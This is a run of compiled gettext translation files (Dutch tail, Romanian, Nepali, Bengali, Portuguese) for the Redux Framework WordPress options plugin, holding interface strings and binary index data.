opslaanSectiestandaarden hersteld!Selecteer een itemInstellingen geïmporteerd!Instellingen opgeslagen!Instellingen zijn gewijzigd, je zou deze moeten opslaan!GrootteSlideStandaardlettertypenStatusStijlAbonnerenSubsetsOndersteuningSysteeminformatieTeam ReduxTekstuitlijningTekstdecoratieDe mensen die Redux Framework ontwikkelenDe onbekende actie is vervangen door "%s"ThemaDit veld kan niet leeg zijn. Geef alsjeblieft een waarde op.Dit veld moet een geldige kleurwaarde zijn.Dit veld moet een geldige datum zijn.TitelNaarBovenTransparantURLEenheidOnbekende actie "%1$s" gespecificeerd voor %2$sUploadenGebruikerGebruikersnaamversieVersie %s%s tonenBezoek homepagina van pluginBezochtWAARSCHUWING! Dit zal alle huidige optiewaarden overschrijven, ga alsjeblieft voorzichtig door!Waarschuwing- dit optiespaneel zal niet goed werken zonder javascript!Welkom bij Redux FrameworkWelkom bij Redux Framework %sWelkom bij het Redux DemopaneelWat is er nieuwBreedteTussenruimte woordenVerwerken...Je hebt onvoldoende rechten voor toegang tot deze pagina.Je hebt wijzigingen die niet zijn opgeslagen. Wil je deze nu opslaan?Je hebt wijzigingen die niet zijn opgeslagen. Wil je deze nu opslaan?Je moet geen HTML in dit veld invoeren, alle HTML-tags zijn verwijderd.Je moet geen speciale karakters in dit veld invoeren, alle speciale karakters zijn verwijderd.Je moet een numerieke waarde voor deze optie opgeven.Je moet een geldige URL voor deze optie opgeven.Je moet een geldige e-mail opgeven voor deze optie.Je huidige opties worden vervangen met de waarden van deze preset. Wil je doorgaan?Je huidige opties worden vervangen met de waarden van deze preset. Wil je doorgaan?aanklikkendonatiefout(en) is/zijn gevonden!de correcte lees/schrijf-rechten heeft of voer jouw FTP-informatie hieronder in.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworklaat een gunstige beoordeling achter op WordPress.orgdoor het met de muis te gaan overonze documentatiewaarschuwing(en) is/zijn gevonden!lib/redux-framework/languages/redux-framework-ro_RO.mo000064400000040446147206624460017122 0ustar00| hi|5D!4f * =J Q [.i  l        2 = I U `m s~3Z9U] X~   2AF M!Xz   %W[cj o y ,(=BHW^ dnv ~  'Dl. 93?'s y6<@ DP3T( U[F@   ; FE E K b!L!3!-"/0"a`"`"##,#5#J#J_##,#,#$4$F$]$'(#( )(4(E(_('e(!(E(\(ER)!)) ))))** 3*A*E*M*=^**** * ** * + +z&+ ++$+ + +++, , &,3, C,O,^, t, , , , ,, ,,, ,.,%---..L/////k0n00111*1;<1x111*111111% 2 12>2F2]2@3O3"_3)33l3)40484S4d4w44,444484(65 _5 j5t55555 55 5 5555'66077C7?7.<8k8889 99K9a95i99 999 99)9:P:i:Lo;; ;; <&<.< @<DM<<<<<Z =kg=U=D)>Fn>K>b?Yd? ????V@W@,q@7@@@ A.x#N)T f<36j|MP\2c:%YuK!lSrCo"bdG[yW0$Dwh}{>QU~B4nV;IkFam18JeH& O?/`,9'q LigzA(^E7s+5Z X-@_]*tvpR=Activate Demo ModeActivate Development PluginsActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.HoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.Learn MoreLeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.NameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP VersionPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Redux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThe following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The people that develop Redux FrameworkThe theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnable to modify required files. Please ensure thatUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Romanian (Romania) (http://www.transifex.com/projects/p/redux-framework/language/ro_RO/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ro_RO Plural-Forms: nplurals=3; plural=(n==1?0:(((n%100>19)||((n%100==0)&&(n!=0)))?2:1)); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Activare mod DemoActivare module de dezvoltareActivAdaugă %sAdaugă mai multAdaugă/Editează galerieToateToate predefinitele au fost restaurate!Permite colectarea de informațiiSunțeti sigur? Resetând se vor pierde toate valorile personalizate.Sunțeti sigur? Resetând se vor pierde toate valorile personalizate din această secțiune.Sunțeti sigur? Resetând se vor pierde toate valorile personalizate.Acțiune efectuată automat: "%s"Atașament pentru fundalFundal ClipOrigine fundalPoziție fundalRepetiție fundalMărime fundalFamile font rezervaStil bordurăJosIstoricGolește galerieApasați aici pentru a activa fișierul de configurare model.ÎnchideEchipăDezactivare mod DemoDezactivare module de dezvoltarePredefinitȘtergeDescriereProgramatorModul dezvoltator activatŞtiaţi că avem extensii, ce sporesc considerabil caracteristicile Redux? Vizitaţi %1$s nostru pentru a afla mai multe!DezactiveazăÎnchideNu permite colectarea de informațiiAdresă EmailActiveazăExtindeExportă opțiuniExtensiiCuloare fontFamilie fontDimensiune fontSubset fontVariantă fontGrosime și stil fontCuloare fontFamilie fontScript fontStil fontSubset fontDe laPrima paginăNoțiuni de bazăFont-uri web GoogleÎnălțimeAjută la îmbunătățirea Panolui de ControlDe aici puteți copia/descarca opțiunile curente. Vă rugăm să le salvați într-un loc sigur, în caz de probleme sau folosiți-le pentru a restaura setările acestui site (sau oricarui altul).IndiciiSugestiile sunt mesaje ajutătoare ce se afişează când %d peste iconiţa pentru sugestie, oferind informaţii adiţionale despre câmpul în care apar. Acestea pot fi %d d folosind link-ul de mai jos. HoverDacă da, vă rugăm %1$s să luați in calcul posibilitatea de a ne face o %2$s pentru a putea sigura dezvoltarea pe viitor a Redux.Dacă doriţi să rămâneţi la curent cu toate noutăţile Redux, vă rugăm să vă abonaţi la buletinul nostru informativ.ImportăImportă / ExportăImportă opțiuniImportă de la adresa URLInserează adresa opțiunilor din alt site și apasă Importă pentru a încărca opțiunile din acel site.Alege fișierul de rezervă mai jos și apasă Importă pentru a restaura setările dintr-o copie de rezervă.Aflaţi mai MultStangaSpațiere litereVă place Redux?Înălțime linieNecesită apelare în sau după acțiunea "plugins_loaded".DenumireNou %sBuletin informativNu s-a găsit niciun articol de acest tip.Nici un fișier media selectatOpritPornitOpțiuniObiect opțiuniPanoul de optiuni creat folosind %1$sVersiune PHPParolăVă rugăm aşteptaţiVă rugăm să ne ajutați la îmbunătățirea panoului nostru, permițându-ne să colectăm în anonimat statistici de utilizare, pentru a ști ce configurări, module sau teme să testăm pentru a asigura compatibilitatea.Extensii ReduxRedux FrameworkJurnal modificări Redux FrameworkRedux Framework are mod Demo încorporat.Generator ReduxRedux este un framework de opţiuni simplu şi cu adevărat extensibil pentru teme şi plugin-uri WordPress.NormalȘtergeContract de răscumpărareResetare totalăResetare secțiuneDreaptaSalvează modificăriPredefinitele secțiunii au fost restaurate!Selectează un articolSetări importate!Setări salvate!Setările au fost modificate, ar trebui să le salvați!Afișează obiect în Consola JavascriptDimensiuneAlunecareFont-uri standardStareStilAbonareSubsetAsistenţăInformații sistemTeam ReduxAliniere TextDecorațiune textTransformare TextUrmătoarele directoare şi fişiere se găsesc în continuare în directorul dumneavoastră Redux. Acestea pot crea erori în Theme-Check.Persoanele ce dezvoltă Redux FrameworkTemplate-ul pe care îl testaţi are %s încorporate. Vă invităm să citiţi %S documentaţia Theme-Check %s pentru a înţelege anumite avertizări pe care le veţi vedea datorită Redux.Acțiunea necunoscută a fost inlocuită cu "%s"TemăAcest câmp nu poate fi lăsat liber. Vă rugăm să-l completaţi.Acest câmp trebuie să conțină o valoare de culoare validă.Câmpul trebuie să conțină o dată validă.Acest panou prezintă multitudinea de caracteristici ale Redux. Înainte de a intra în detalii, vă sugerăm să avansaţi examinând %1$s.TitluLaSusTransparentURLNu am putut modifica fișierele necesare. Vă rugăm să vă asigurați căUnitateAcțiune necunoscută "%1$s" specificată pentru %2$sUploadUtilizatorNume utilizatorVersiuneVersiunea %sVizualizare %sVizitează pagina de internet a modululuiVizitatATENTIE! Se vor suprascrie toate opțiunile, vă rugăm avansați cu precauție!Vreţi să porniţi de la capăt? Folosiţi %1$s. Se va crea o temă şablon personalizată sau un dosar de administrare independent cu toate elementele Redux (cu ajutorul Liniuţelor-de-subliniere şi TGM). Scăpaţi de durerile de cap, încercând chiar azi. Atenție - Acest panou de control nu va funcționa corect fără javascript!Bun venit la Redux FrameworkBune venit la Redux Framework %sBun venit în Panoul Demo ReduxCe este NouLungimeSpațiere cuvinteProcesare...Nu aveti suficiente drepturi pentru a putea accesa această pagină.Există modificări nesalvate. Doriţi să le salvaţi acum?Există modificări nesalvate. Doriţi să le salvaţi acum?Nu trebuie să introduceți cod HTML în acest câmp, toate tagurile HTML au fost șterse.Nu trebuie să introduceți caractere speciale în acest câmp, toate caracterele speciale au fost șterse.Trebuie să furnizați o listă numerică separată prin virgulă pentru acest câmp.Trebuie să furnizați o valoare numerică pentru această opțiune.Trebuie să furnizați o adresă URL validă pentru această opțiune.Trebuie să furnizați o adresă de email validă pentru această opțiune.Opţiunile dvs, curente vor fi înlocuite cu valorile acestei presetări. Doriţi să continuaţi?Opțiunile curente vor fi înlocuite de valorile acestui câmp. Doriți să continuați ?dând clicdonaţieeroare(i) găsită(e)!directorul de extensiiare permisiunile corecte de citire/scriere sau introduceți informațiile FTP mai jos.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworksă ne lăsaţi o recenzie favorabilă pe WordPress.orgdeplasând mous-ul deasupradocumentaţia noastrăatenționare(i) găsită(e)!lib/redux-framework/languages/redux-framework-ne_NP.mo000064400000032365147206624460017102 0ustar00m@ A T [ d u y  5 D 4 O e y   .      % < D Z a p |           ] XX    !    6 ?K%[   ,(5^cix '   U#Fy  FE%KkbL3g-/a`[Jh30: ;ZED.C17L#5R R9_*,+GCD(#(Cl&  e@>! Q! ^!$k!;!-!!"#+# $M$9k$$"$Z$?%7U%%B%%%) &,3&`&>p&]&6 '6D'+{''J2( }((( ( ((+(])Vw)) ) ))**+*!;*+]***z+,(!,J,g,--Z.//0/112/3 424^ )-;63*_  mei[]"(.bPTE9VY %GL?7K'O,lS 4H1jNU&Bh=`CJXM2Dc/ad$Z0R8#5k!WAI>Fg<Q+f \:@Activate Demo ModeActiveAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBackup Font FamilyBorder styleBottomClear GalleryClick here to activate the sample config file.CloseDeactivate Demo ModeDefaultDeleteDescriptionDeveloper Mode EnabledDismissDo not allow trackingExpandExport OptionsFont FamilyFont colorFont familyFont scriptFont styleFont subsetsFrom Google WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHoverImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingNameNo items of this type were found.No media selectedOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitRedux FrameworkRedux Framework has an embedded demo.RegularRemoveReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubsetsSystem InfoThis field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnitsUploadUserUsernameVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Warning- This options panel will not work properly without javascript!WidthWord SpacingWorking...You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?error(s) were found!has the proper read/write permissions or enter your FTP information below.warning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Nepali (Nepal) (http://www.transifex.com/projects/p/redux-framework/language/ne_NP/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ne_NP Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes डेमो मोड सक्रिय गरसक्रियअझ थप्नुहोसनयाँ / सम्पादन ग्यालरीसबैसबै पूर्वनिर्धारित पुनर्स्थापित!ट्रयाकिङ अनुमति दिनुहोस्तपाईं निश्चित हुनुहुन्छ? रिसेट गर्दा सबै कस्टम मानहरु गुम्नेछ !तपाईं निश्चित हुनुहुन्छ? रिसेट गरेमा सबै कस्टम मान गुम्नेछ ।तपाईं निश्चित हुनुहुन्छ? रिसेट गर्दा सबै कस्टम मानहरु गुम्नेछ !पृष्ठभुमिको संलग्ऩवस्तुपृष्ठभूमिको स्थानपृष्ठभूमि दोहोराउनेजगेडा फन्ट रङसीमा शैलीतलग्यालरी खाली गर्नुसनमूना सक्रिय गर्न यहाँ थिच्नुसबन्दडेमो मोड निष्क्रिय गरपूर्वनिर्धारितमेट्नुसविवरणडेभलपर मोड सक्षमखारेज गर्नुहोस्ट्रयाकिङ अनुमति नदिनुहोस्विस्तारविकल्पहरु निर्यात गर्नुसअक्षरको परिवारफन्ट रङफन्ट परिवारफन्ट स्क्रिप्टफन्ट शैलीफन्ट सबसेटहरु बाटगुगल Webfontsऊचाईहाम्रो प्यानल सुधार गर्न सहयोग गर्नुसयहाँ तपाईं आफ्नो वर्तमान विकल्पहरु डाउनलोड / कपी गर्न सक्नु हुन्छ ! यसलाई सुरक्षित राख्नुस किनकि केहि बिग्रेमा यो जगेडाको रुपमा बस्नेछ अनि पछि यहि साइट (वा अन्य साइट) मा पुनःस्थापना गर्न सकिन्छ !सङ्केतहोभरआयातआयात / निर्यातविकल्पहरु आयात गर्नुसURL बाट आयात गर्नुसअर्को साइटबाट विकल्प ल्याउन यहाँ अर्को साइटको विकल्पको URL हाल्नुस अनि आयात थिच्नुस !जगेडा फाइलबाट साइट विकल्पहरु पुनःस्थापना गर्न तल आफ्नो जगेडा फाइल हाल्नुहोस् अनि आयात थिच्नुस!वायाँअक्षर खालीस्थाननामयस प्रकारको कुनै आइटम पाइएन ।मिडिया चयन गरिएको छैनविकल्पहरुविकल्प वस्तु%1$s प्रयोग गरी विकल्प प्यानल बनाइयोपासवर्डप्रतीक्षा गर्नुहोस्Redux FrameworkRedux Framework मा एम्बेडेड डेमो छ !नियमितहटाउनुससबै नष्ट गर्नुसखण्ड नष्ट गर्नुसदायाँपरिवर्तनहरू बचत गर्नुसखण्ड पूर्वनिर्धारित पुनर्स्थापित!एउटा आइटम चयन गर्नुससेटिङहरू आयात गरियो!सेटिङ बचत गरियो! सेटिङहरू परिवर्तन गरिएका छन, तिनीहरूलाई बचत गर्नुस !Object लाई Javascript Console Object मा देखाउनुसआकारस्लाइडमानक फन्ट्सखबरशैलीसबसेटहरुप्रणाली जानकारीयो फिल्ड एक मान्य रंग मान हुनुपर्छ।यो फिल्ड एक मान्य मिति हुनुपर्छ।शीर्षकतिरमाथिपारदर्शीURLइकाइहरुअपलोडप्रयोगकर्ताप्रयोगकर्ता नामहेरिएकोचेतावनी! सबै विद्यमान विकल्प मानहरु अधिलेखन हुनेछ, कृपया सावधानीसंग अगाडी बढ्नुस !चेतावनी- यो विकल्प प्यानल javascript विना राम्ररी काम गर्नेछैन !चौडाईशब्द खालीस्थानकाम गर्दै...परिवर्तनहरू बचत गरिएका छैनन् । तपाईं अब त्यसलाई बचत गर्न चाहनुहुन्छ?परिवर्तनहरू बचत गरिएका छैनन् । तपाईं अब त्यसलाई बचत गर्न चाहनुहुन्छ?यस फिल्डमा कुनै HTML नहाल्नुस, सबै HTML ट्याग हटाइएको छ।यस फिल्डमा कुनै विशेष वर्ण हाल्न हुदैन, सबै विशेष वर्ण हटाइएको छ।तपाईंले यो विकल्पका लागि संख्यात्मक मानको एक अल्पविराम विभाजित सूची प्रदान गर्नुपर्छ।तपाईले यो विकल्पका लागि एक मान्य संख्यात्मक मान प्रदान गर्नुपर्छ।तपाईले यो विकल्पका लागि एक मान्य URL प्रदान गर्नुपर्छ।तपाईंले यो विकल्पका लागि वैध इमेल प्रदान गर्नुपर्छ।वर्तमान विकल्पहरुमा पूर्व निर्धारित मानहरु प्रतिस्थापन गरिनेछ। तपाईं यो प्रक्रिया गर्न चाहनुहुन्छ?वर्तमान विकल्पहरुमा पूर्व निर्धारित मानहरु प्रतिस्थापन गरिनेछ। तपाईं यो प्रक्रिया गर्न चाहनुहुन्छ?त्रुटि (हरू) पाइयो!उचित पढ्ने / लेख्ने अनुमति छ वा तल आफ्नो FTP जानकारी प्रविष्ट गर्नुहोस्।चेतावनी (हरू) पाइयो!lib/redux-framework/languages/redux-framework-bn_BD.mo000064400000015151147206624460017041 0ustar00;O 5 DV4 .BHMbj q}   %)O V `n t,   ;"F^Ea`M   n -I w =M@F |   <'@!Su%(  0(=mf7r( ) 56<<s 2?(R{ !  m"' 62 $%.1:"(*8 )63/ 4+ &!2' 5#,;70 -9Activate Demo ModeAllAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBottomClick here to activate the sample config file.CloseCopyDeactivate Demo ModeDefaultDeleteDescriptionDisableDismissDocumentationEnableExpandFont FamilyHeightImportImport / ExportLeftOptionsOptions ObjectOptions panel created using %1$sPasswordRedux FrameworkRedux Framework has an embedded demo.RemoveReset AllReset SectionRightSave ChangesSettings Imported!Settings Saved!Settings have changed, you should save them!SizeStyleSystem InfoTitleTopURLUploadUsernameVersion %sWidthWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?error(s) were found!warning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Bengali (Bangladesh) (http://www.transifex.com/projects/p/redux-framework/language/bn_BD/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: bn_BD Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes ডেমো মোড চালু করোসকলআপনি কি নিশ্চিত? রিসেট করলে সব কাস্টম ভ্যালু মুছে দিবে।আপনি কি নিশ্চিত? রিসেট করলে এই অংশের কাস্টম ভ্যালু হারিয়ে যাবে।আপনি কি নিশ্চিত? রিসেট করলে সব কাস্টম ভ্যালু মুছে দিবে।ব্যকগ্রাউন্ড সংযুক্তিব্যকগ্রাউন্ডের অবস্থানব্যকগ্রাউন্ড পুনরাবৃত্তিনিচেনমুনা কনফিগ ফাইলটি চালু করতে এখানে ক্লিক করুন।বন্ধকপিডেমো মোড নিষ্ক্রীয় করোডিফল্টঅপসারণবিবরণঅকার্যকরভন্ডুলডকুমেন্টেশনস্বক্রিয়বর্ধিত করোফন্ট ফ্যামিলিউচ্চতাআমদানীআমদানি/রপ্তানিলিঙ্কঅপশনঅপশন্স অবজেক্টঅপশন্স প্যানেল তৈরি করেছেন %1$s ব্যবহার করেপাসওয়ার্ডরিডাক্স ফ্রেমওয়ার্করিডাক্স ফ্রেমওয়ার্ক-এ একটি ডেমো যুক্ত আছে।অপসারণসব রিসেট করোসেকশন রিসেট করোডানেপরিবর্তন সংরক্ষণ করসেটিংস আমদানি হয়েছে!সেটিংস সংরক্ষিত হয়েছে!সেটিংস পরিবর্তন হয়েছে, আপনার সে সংরক্ষণ করা উচিত!আকারস্টাইলসিস্টেমের তথ্যশিরোনামউপরেইউআরআইআপলোডব্যবহারকারীভার্শন %sচওড়াকাজ চলছে...এই পৃষ্ঠায় অনুপ্রবেশের জন্য প্রয়োজনীয় অনুমতি আপনার নেই।আপনার কিছু অসংরক্ষিত পরিবর্তন আছে। আপনি কি তা এখনি সংরক্ষণ করতে চান?আপনার কিছু অসংরক্ষিত পরিবর্তন আছে। আপনি কি তা এখনি সংরক্ষণ করতে চান?আপনার বর্তমান অপশনগুলো এই প্রিসেটের ভ্যালু দিয়ে প্রতিস্থাপিত হবে। আপনি কি তা করতে দিতে চান?আপনার বর্তমান অপশনগুলো এই প্রিসেটের ভ্যালু দিয়ে প্রতিস্থাপিত হবে। আপনি কি তা করতে দিতে চান?ভুল পাওয়া গেছে!ওয়ার্নিং পাওয়া গেছে!lib/redux-framework/languages/redux-framework-pt_PT.mo000064400000015651147206624460017130 0ustar00v|      , 0 G 5V          ) / 7 L T [ g q          ) 6 < L S Y _ f v       !       * : J R Y c q w           '$ Lmsw { U-M S `;k,+=oT %<NR $<K R\ p|     );L cpv %5:B&V }    (=Pi  &"'Iqy~    d.X<  ,:g|T H$7&m5<BAYa! DSh%#kg1P;bf"-q. F\nc U`4C+ji]W2t r80J[6Reu/I'3N(QVZ>)?E_M,dl@*=s9X L^oKpGOv:Activate Demo ModeActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Background AttachmentBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomChangelogClear GalleryCloseCreditsDeactivate Demo ModeDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsFont ColorFont FamilyFont SizeFont SubsetsFont colorFont familyFont styleFont subsetsFrom Getting StartedHeightHintsHoverImportImport / ExportImport OptionsImport from URLLanguageLeftLetter SpacingLine HeightNameNew %sNewsletterNo items of this type were found.OffOnOptionsOptions ObjectPasswordPlease WaitRedux FrameworkRedux GeneratorRegularRemoveReset AllReset SectionRightSave ChangesSelect an itemSettings Imported!Settings Saved!SizeSlideStatusStyleSubscribeSubsetsSupportSystem InfoText AlignText DecorationText TransformThemeThis field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnitsUploadUserUsernameVersionVersion %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Welcome to the Redux Demo PanelWidthWord SpacingWorking...You do not have sufficient permissions to access this page.clickingdonationerror(s) were found!http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Portuguese (Portugal) (http://www.transifex.com/projects/p/redux-framework/language/pt_PT/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: pt_PT Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Ativar modo demoAtivoAdicionar %sAdicionar maisAdicionar/Editar GaleriaTodosTodos as predefinições restauradas!Permitir rastreamentoTem a certeza que pretende repor? Irá perder todos os valores personalizados.Anexo do fundoOrigem do fundoPosição do fundoRepetir fundoTamanho do fundoCópia da família da fonteEstilo da bordaFundoRegisto de alteraçõesLimpar GaleriaFecharCréditosDesativar modo demoPor defeitoEliminarDescriçãoDeveloperModo de desenvolvedor ativoDesactivarIgnorarNão permitir o rastreamentoEndereço de emailAtivarExpandirExportar opçõesCor do textoFamília da FonteTamanho do textoSub conjuntos da fonteCor da fonteFonteEstilo da fonteSub conjuntos da fonteDeIniciarAlturaDicasSobreImportarImportar / ExportarImportar opçõesImportar de URLLínguaEsquerdaEspaçamento entre letrasAltura da linhaNomeNovo %sBoletim InformativoNenhum item deste tipo foi encontrado.DesligadoLigadoOpçõesOpções do ObjetoPalavra-passePor favor aguardeRedux FrameworkGerador ReduxNormalRemoverRestabelecer todosRestabelecer secçãoDireitaGuardar AlteraçõesSelecionar um itemDefinições Importadas!Definições Guardadas!TamanhoDeslizarEstadoEstiloSubscreverSub conjuntosSuporteInformações do sistemaAlinhamento do textoDecoração do textoTransformação do textoTemaEste campo tem de ter uma cor válida.Este campo tem de ter uma data válida.TítuloParaTopoTransparenteURLUnidadesCarregarUtilizadorUtilizadorVersãoVersão %sVisitar homepage do pluginVisitadoCuidado! Isto irá sobrepor todos os valores das opções existentes, por favor proceda com cuidado!Bem vindo ao Painel de Demonstração 